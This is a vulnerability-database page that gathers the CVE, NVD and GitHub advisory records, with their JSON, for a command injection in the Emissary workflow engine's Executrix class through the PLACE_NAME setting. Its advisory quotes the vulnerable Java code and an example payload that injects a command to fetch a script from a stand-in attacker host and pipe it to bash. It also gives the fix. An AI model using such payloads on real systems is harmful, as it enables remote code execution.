Vulnerability-Lookup

CVE-2026-35581 (GCVE-0-2026-35581)

Vulnerability from cvelistv5 – Published: 2026-04-07 15:56 – Updated: 2026-04-08 14:57

Title

Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Summary

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.

Severity

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-08 14:57 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/NationalSecurityAgency/emissar…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
NationalSecurityAgency	emissary	Affected: < 8.39.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35581",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-08T14:57:38.566917Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-08T14:57:47.316Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "emissary",
          "vendor": "NationalSecurityAgency",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.39.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values \u2014 including the PLACE_NAME parameter \u2014 with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-07T15:56:55.838Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
        }
      ],
      "source": {
        "advisory": "GHSA-6c37-7w4p-jg9v",
        "discovery": "UNKNOWN"
      },
      "title": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35581",
    "datePublished": "2026-04-07T15:56:55.838Z",
    "dateReserved": "2026-04-03T20:09:02.827Z",
    "dateUpdated": "2026-04-08T14:57:47.316Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-35581",
      "date": "2026-09-22",
      "epss": "0.00563",
      "percentile": "0.45604"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "emissary",
                "vendor": "NationalSecurityAgency",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 8.39.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "9EC86D6D-EB58-4DE4-B88C-C562B33281A0",
                    "versionEndIncluding": "8.38.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values \u2014 including the PLACE_NAME parameter \u2014 with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0."
          }
        ],
        "id": "CVE-2026-35581",
        "lastModified": "2026-06-17T10:40:48.760",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 1.2,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-35581",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-08T14:57:38.566917Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-04-07T17:16:33.493",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-78"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-04-08T19:34:07+00:00",
      "cve": "CVE-2026-35581",
      "id": "CVE-2026-35581",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35581.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-35581",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-04-08T14:57:38.566917Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-04-08T14:57:43.213Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "emissary",
              "vendor": "NationalSecurityAgency",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 8.39.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values \u2014 including the PLACE_NAME parameter \u2014 with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-78",
                  "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-04-07T15:56:55.838Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
            }
          ],
          "source": {
            "advisory": "GHSA-6c37-7w4p-jg9v",
            "discovery": "UNKNOWN"
          },
          "title": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-35581",
        "datePublished": "2026-04-07T15:56:55.838Z",
        "dateReserved": "2026-04-03T20:09:02.827Z",
        "dateUpdated": "2026-04-08T14:57:47.316Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-35581

Vulnerability from fkie_nvd - Published: 2026-04-07 17:16 - Updated: 2026-06-17 10:40

Severity

7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nsa	emissary	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "emissary",
          "vendor": "NationalSecurityAgency",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.39.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "9EC86D6D-EB58-4DE4-B88C-C562B33281A0",
              "versionEndIncluding": "8.38.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values \u2014 including the PLACE_NAME parameter \u2014 with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0."
    }
  ],
  "id": "CVE-2026-35581",
  "lastModified": "2026-06-17T10:40:48.760",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-35581",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-08T14:57:38.566917Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-07T17:16:33.493",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-6C37-7W4P-JG9V

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-04-08 00:12

Summary

Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Details

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — `Executrix.java`

Insufficient sanitization (line 132):

this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058):

protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}

Data flow

PLACE_NAME is read from a configuration file
Executrix applies only a space-to-underscore replacement
The placeName is used to construct temporary directory paths (tmpNames[DIR])
tmpNames[DIR] is concatenated into a shell command string
The command is executed via /bin/sh -c

Example payload

PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curl_attacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

Arbitrary command execution on the Emissary host
Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9_-]:

protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

This ensures that any shell metacharacter in the PLACE_NAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACE_NAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

PR #1290 — validate placename with an allowlist
Original report: GHSA-wjqm-p579-x3ww

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "gov.nsa.emissary:emissary"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:12:50Z",
    "nvd_published_at": "2026-04-07T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values \u2014 including the `PLACE_NAME` parameter \u2014 with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code \u2014 `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(\u0027 \u0027, \u0027_\u0027);\n// ONLY replaces spaces \u2014 shell metacharacters pass through\n```\n\n**Shell sink (line 1052\u20131058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 \u2014 validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww",
  "id": "GHSA-6c37-7w4p-jg9v",
  "modified": "2026-04-08T00:12:50Z",
  "published": "2026-04-08T00:12:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35581"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/pull/1290"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NationalSecurityAgency/emissary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-35581 (GCVE-0-2026-35581)

FKIE_CVE-2026-35581

GHSA-6C37-7W4P-JG9V

Summary

Details

Vulnerable code — Executrix.java

Data flow

Example payload

Impact

Remediation

Workarounds

References

Tags

Sightings

Nomenclature

Related by attack behaviour

Vulnerable code — `Executrix.java`